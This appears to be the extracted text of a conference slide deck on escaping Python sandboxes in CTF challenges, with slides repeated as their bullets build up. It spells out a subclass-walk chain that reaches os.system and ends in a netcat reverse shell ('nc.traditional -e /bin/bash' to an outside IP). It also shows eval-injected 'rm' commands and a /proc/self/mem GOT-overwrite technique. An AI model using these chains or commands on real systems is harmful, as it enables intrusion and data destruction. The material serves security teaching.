['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues']
dir(formula)
„Sandbox”
{}.__class__.__base__
.__subclasses__()[59]()._module
.__builtins__['__import__']
<built-in function __import__>
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
dir(formula)
„Sandbox”
Ender's game...
{}.__class__.__base__
.__subclasses__()[59]()._module
.__builtins__['__import__']
„Sandbox”
Ender's game...
{}.__class__.__base__
.__subclasses__()[59]()._module
.__builtins__['__import__']
('os')
„Sandbox”
Ender's game...
{}.__class__.__base__
.__subclasses__()[59]()._module
.__builtins__['__import__']
('os')
.system
„Sandbox”
Ender's game...
{}.__class__.__base__
.__subclasses__()[59]()._module
.__builtins__['__import__']
('os')
.system
('nc.traditional -e /bin/bash 93.184.216.34 31337')
„Sandbox”
Ender's game...
{}.__class__.__base__
.__subclasses__()[59]()._module
.__builtins__['__import__']
('os')
.system
('nc.traditional -e /bin/bash 93.184.216.34 31337')
„Sandbox”
A funny story I've heard
Once upon a time
there was a spammer...
A funny story I've heard
Quiz!
How did the spammer solve the captcha?:
A. He implemented a parser, a conversion from the infix notation to reverse Polish notation and then he used a stack machine to calculate the result
A funny story I've heard
Quiz!
How did the spammer solve the captcha?:
A. He implemented a parser, a conversion from the infix notation to reverse Polish notation and then he used a stack machine to calculate the result
B. He used eval()
A funny story I've heard
Quiz!
Solution:
For some reason this CAPTCHA:
1+__import__('os').system('rm *')+1
solved the spam problem.
A funny story I've heard ver. 1.5
<@Redford> LOL
<@Redford> I'm solving programming 300
<@Redford> you get a series of math expressions and need to determine if the result is an integer
<@Redford> so I solved several hundred levels
<@Redford> (it says which level you are on)
<@Redford> and suddenly I get this as the next expression:
<@Redford> __import__('os').popen('rm -ri *').read()
<@Redford> :D
<@Redford> thankfully I had a regexp before the eval to prevent just this :)
„Empty Sandbox”
__nightmares__ (PlaidCTF 2014, 375) (q3k!)
You can execute any code.
„Empty Sandbox”
__nightmares__ (PlaidCTF 2014, 375) (q3k!)
You can execute any code.
But there is only stdout in the environment
(and keywords of course).
stdout
stdout
.__class__
stdout
.__class__
<type 'file'>
stdout
.__class__
<type 'file'>
('/proc/self/mem', 'r+')
stdout
.__class__
<type 'file'>
('/proc/self/mem', 'r+')
.seek() + .read()
stdout
.__class__
<type 'file'>
('/proc/self/mem', 'r+')
.seek() + .read()
read addr of system() in .got
stdout
.__class__
<type 'file'>
('/proc/self/mem', 'r+')
.seek() + .read()
read addr of system() in .got
write it under fopen64() in .got
stdout
.__class__
<type 'file'>
('/proc/self/mem', 'r+')
.seek() + .read()
read addr of system() in .got
write it under fopen64() in .got
<type 'file'>
('cat *')
Summary
This presentation contained snippets from
The End
I'm happy to answer all easy questions :)
gynvael@coldwind.pl http://gynvael.coldwind.pl/ twitter: @gynvael